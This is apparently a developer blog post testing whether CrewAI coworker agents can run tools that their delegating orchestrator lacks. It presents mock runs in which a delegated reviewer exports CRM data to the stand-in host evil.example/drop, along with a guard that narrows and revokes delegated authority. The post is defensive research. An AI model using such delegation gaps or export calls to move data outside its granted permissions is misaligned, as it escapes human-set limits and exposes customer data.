On crewai 1.15.18 I gave a CrewAI orchestrator one tool, crm_query, and allow_delegation=True. I gave a reviewer coworker two, crm_query and crm_export. The orchestrator delegated the review of a Q3 summary. Both tool bodies ran, and the export body ran with https://evil.example/drop as its destination. The export tool is a mock that records the call, so nothing left the machine. Python 3.12, a scripted LLM, no API key, 2026-09-03.
That run is reviewer.py. Its output:
RUN 5 Orchestrator delegates a REVIEW to `reviewer`, which declares crm_export
...
parent tool set ['crm_query', 'delegate_work_to_coworker', 'ask_question_to_coworker']
reviewer tool set ['crm_query', 'crm_export']
reviewer ran crm_export -- a tool the parent does NOT hold? True
The reviewer-agent pattern is a common one. A second agent checks the first agent's work before it proceeds. A reviewer is a coworker like any other, so it runs its own declared tool list, and nothing in the delegation path compares that list with the delegating agent's.
What does a CrewAI coworker actually get?
Five more runs, in baseline.py, no guard installed. The four that start a crew print which tool bodies executed, so the answer does not depend on reading the model's text.
| Run | Setup | Result |
|---|---|---|
| 1 | orchestrator holds crm_query, tries crm_export itself |
no body ran |
| 2 | delegates to exporter, which declares crm_export
|
crm_export body ran, destination https://evil.example/drop
|
| 3 | delegates to assistant, which declares no tools |
nothing ran; the coworker did not inherit crm_query
|
| 4 | hierarchical: a tool-less manager, a worker with crm_export
|
crm_export body ran |
| 4b | hierarchical: a manager that declares one tool | Exception: Manager agent should not have tools |
RUN 2 Orchestrator delegates to `exporter`, which declares crm_export
...
parent tool set ['crm_query', 'delegate_work_to_coworker', 'ask_question_to_coworker']
child tool set ['crm_query', 'crm_export']
child ran crm_export -- a tool the parent does NOT hold? True
RUN 4 Hierarchical process: a manager that is FORBIDDEN to hold tools
...
manager tool set ['delegate_work_to_coworker', 'ask_question_to_coworker']
worker tool set ['crm_query', 'crm_export']
worker ran crm_export under a tool-less manager? True
Run 3 is the part of this that looks reassuring. A coworker does not inherit its parent's tools, so delegation looks narrowing. Run 2 shows the other direction is open. The coworker runs whatever it declares, and the delegating agent is not a term in that decision.
Where in CrewAI's own code does this happen?
Crew._create_manager_agent logs a warning, clears the manager's tools, and raises (crewai/crew.py:1522-1529 on 1.15.18):
if manager.tools is not None and len(manager.tools) > 0:
self._logger.log(
"warning",
"Manager agent should not have tools",
color="bold_yellow",
)
manager.tools = []
raise Exception("Manager agent should not have tools")
On the delegation path, BaseAgentTool resolves the coworker by exact match on the model's output after casefolding and whitespace normalization, builds a Task for it, and calls selected_agent.execute_task(...). The selected agent executes with its own tools list. There is no step in between that relates the two sets.
The hierarchical process page tells you to "Assign tools at the agent level to facilitate task delegation and execution by the designated agents under the manager's guidance." The same page adds that tools can also be set at the task level. That lever does not reach a delegate: the delegation tool builds the Task itself, with no tools, so the coworker falls back to its own agent-level list.
Two upstream threads touch the neighbouring question. Allow delegation to specific agents only was closed as not planned. The allowed_agents pull request was closed without merging. Both are about which agent may be delegated to. Neither is about what the delegate may then do. The thread that is, a governance middleware hook for tool call authorization, is open with 121 comments.
What does it take to bound the coworker instead?
The delegation moment in CrewAI is a tool call, Delegate work to coworker, so it is a place you can stand. The recipe mints the coworker's authority there, as a child of the orchestrator's, and checks every later tool call at register_before_tool_call_hook, before the tool body. Code that reaches a side effect without going through a CrewAI tool call is outside that path.
A second script, same shape, bridge installed. The coworker here is called summarizer. Its output across four sections, with the Authority(...) wrapper and the ceiling dicts flattened for width:
orchestrator scopes=['crm.*', 'mail.send'] max_rows=100000 ttl=3600
greedy grant requested scopes=['crm.*','mail.send','payments.transfer'], max_rows=10000000, ttl=999999
granted scopes=['crm.*','mail.send'], max_rows=100000, ttl=3600
DENIED summarizer/crm_export: scope_not_granted requested=crm.export ... held scopes ['crm.read']
DENIED summarizer/crm_query: revoked: node has been revoked
10 events, hash chain: True
attenu-guard verify evidence-bundle.json --pubkey <the key this run printed>
integrity=True monotonicity=True containment=True anchor=verified nodes=3 actions_checked=1
A greedy grant comes back exactly as wide as the parent, never wider. The first denial revokes the coworker, so its next call, a read that was legal a moment earlier, is denied too. The run leaves a signed bundle that a reviewer checks with the public key alone, without this process and without any service of mine.
One CrewAI detail cost me an afternoon. A denial has to be raised as crewai.hooks.HookAborted. The dispatcher swallows every other exception and the tool runs anyway.
The same script uninstalls the bridge and runs the identical crew again, so the difference is visible in one output rather than asserted:
6. BASELINE: the same crew, bridge uninstalled
...
tool bodies that actually executed:
RAN crm_query(rows=4200)
RAN crm_export(destination=https://evil.example/drop)
RAN crm_query(rows=10)
How do you run this yourself?
python3 -m venv v && . v/bin/activate
pip install 'attenu-guard[crewai]'
git clone https://github.com/attenu-io/attenu-guard && cd attenu-guard
python examples/baselines/crewai/baseline.py # the five runs above, no guard
python examples/baselines/crewai/reviewer.py # the reviewer variant
python examples/integrations/crewai/demo.py # narrowed, denied, revoked, verified
The same question asked of five frameworks, with the runs: does a sub-agent inherit its parent's permissions.
Verified against crewai 1.15.18 and attenu-guard 0.12.1 on 2026-09-03; the baseline output is byte-identical to the 1.15.16 run of 2026-09-02 except the date and version lines. Runs: examples/baselines/crewai/ ยท recipe and tests: examples/integrations/crewai/
Top comments (0)